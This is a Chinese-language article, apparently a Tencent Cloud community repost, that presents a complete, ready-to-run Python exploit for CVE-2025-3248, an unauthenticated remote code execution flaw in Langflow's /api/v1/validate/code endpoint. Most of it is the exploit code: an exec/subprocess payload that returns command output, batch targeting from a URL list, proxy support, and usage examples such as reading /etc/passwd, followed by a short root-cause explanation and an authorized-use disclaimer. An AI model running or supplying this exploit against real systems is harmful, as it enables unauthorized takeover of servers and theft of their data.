
CVE-2025-3248是一个严重的无需认证的远程代码执行漏洞,影响Langflow(一个流行的用于构建LLM应用程序的低代码框架)。该漏洞源于不安全地使用了Python内置的exec()函数来评估用户提供的输入,且未进行适当的清理。这使得攻击者能够在服务器上执行任意Python代码,完全控制底层系统。
该脚本主要依赖于requests和colorama库。可以使用pip进行安装。
pip install requests colorama可以直接复制提供的CVE-2025-3248.py脚本内容,保存为本地Python文件。
该工具通过命令行参数运行。
python3 CVE-2025-3248.py -u http://target:7860 -c "id"-u, --url: 指定单个目标URL(例如,http://192.168.1.100:7860)。-i, --input: 指定一个包含多个目标URL列表的文件路径(每行一个URL)。-c, --cmd: (必需) 指定要在目标系统上执行的Shell命令(例如,id, whoami, cat /etc/passwd)。-p, --proxy: 指定代理服务器地址(例如,http://127.0.0.1:8080用于Burp Suite)。targets.txt:http://target1.com:7860
http://target2.com:7860然后运行脚本:python3 CVE-2025-3248.py -i targets.txt -c "ls -la"攻击针对Langflow的API端点:/api/v1/validate/code。
LangflowExploit该类封装了与目标交互的核心逻辑,包括发送恶意载荷和处理响应。
class LangflowExploit:
def __init__(self, url, proxy=None, timeout=10):
# 初始化会话,设置目标URL、超时时间和代理
self.url = url.rstrip('/')
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False # 忽略SSL证书验证
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (mitsec)',
'Content-Type': 'application/json',
'Accept': 'application/json',
})
if proxy:
# 配置代理
self.session.proxies = {
"http": proxy,
"https": proxy
}
def execute(self, command):
# 构建目标端点URL
endpoint = urljoin(self.url, '/api/v1/validate/code')
# 核心载荷:通过构造会抛出异常的exec语句,在异常信息中捕获命令执行结果
payload = {
"code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
}
try:
print(f"{Fore.YELLOW}[•] Sending exploit to: {endpoint}")
# 发送POST请求,载荷为JSON格式
response = self.session.post(endpoint, json=payload, timeout=self.timeout)
print(f"{Fore.YELLOW}[•] HTTP Status: {response.status_code}")
if response.status_code == 200:
# 尝试解析返回的JSON,提取错误信息(其中包含了命令输出)
try:
data = response.json()
error_msg = data.get("function", {}).get("errors", [""])[0]
if error_msg.startswith("b'"):
# 对命令输出进行解码
return error_msg[2:-1].encode().decode('unicode_escape').strip()
except Exception as parse_err:
return f"[!] JSON parse error: {parse_err}"
return f"[!] Exploit failed: HTTP {response.status_code}"
except requests.RequestException as req_err:
# 处理网络请求异常
return f"[!] Request failed: {req_err}"main()处理命令行参数,协调整个利用流程,支持单目标和批量目标。
def main():
banner() # 打印ASCII艺术横幅
parser = argparse.ArgumentParser(description="mitsec | CVE-2025-3248 Langflow RCE Exploit")
# 定义命令行参数
parser.add_argument("-u", "--url", help="Target URL (e.g., http://host:port)")
parser.add_argument("-i", "--input", help="File containing list of target URLs")
parser.add_argument("-c", "--cmd", required=True, help="Command to execute (e.g., id, whoami)")
parser.add_argument("-p", "--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080 for Burp Suite)")
args = parser.parse_args()
targets = [] # 存储目标列表
# 根据参数读取目标:优先从文件读取,否则使用单个URL
if args.input:
try:
with open(args.input, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"{Fore.RED}[!] Failed to read input file: {e}")
return
elif args.url:
targets = [args.url]
else:
print(f"{Fore.RED}[!] Please specify either --url or --input.")
return
# 遍历所有目标并执行攻击
for target in targets:
print(f"{Fore.CYAN}\n[>] Target: {target}")
exploit = LangflowExploit(target, proxy=args.proxy)
output = exploit.execute(args.cmd) # 执行命令
print(f"{Fore.GREEN}[+] Command Output:\n{output}")banner()生成并显示彩色的工具标识和信息横幅,增加专业感。
def banner():
color = random.choice(COLORS) # 随机选择一种颜色
# 打印ASCII艺术字和工具信息框,包含CVE编号、作者等
print(f"""{Style.BRIGHT}{color}
█████╗ ███████╗██╗ ██╗
██╔══██╗██╔════╝██║ ██╔╝
███████║███████╗███████╔╝
██╔══██║╚════██║██╔═ ██╗
██║ ██║███████║██║ ██╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ASH!!!
╔══════════════════════════════════════════════════════════════════════════════════╗
║ Exploit Title: Langflow Remote Code Execution (RCE) ║
║ CVE ID : {Fore.RED + Style.BRIGHT}CVE-2025-3248{color + Style.BRIGHT} ║
║ Author : B1ack4sh Black ASH ║
║ GitHub : https://github.com/B1ack4sh ║
╚══════════════════════════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}""")漏洞原理:
该漏洞位于Langflow的/api/v1/validate/code端点。后端代码(推测位于类似langflow/api/builder/execute.py的文件中)直接使用exec(code)执行用户传入的代码,既没有输入验证,也没有沙箱环境。
免责声明:
本工具仅用于教育、安全研究和授权测试。严禁将其用于任何未经授权的系统。使用者需自行承担所有责任。开发者和贡献者不对任何滥用行为负责。在测试任何系统之前,请确保您已获得明确的所有者许可。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4O0LUJzubeXR3Uhsyi1DNO
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。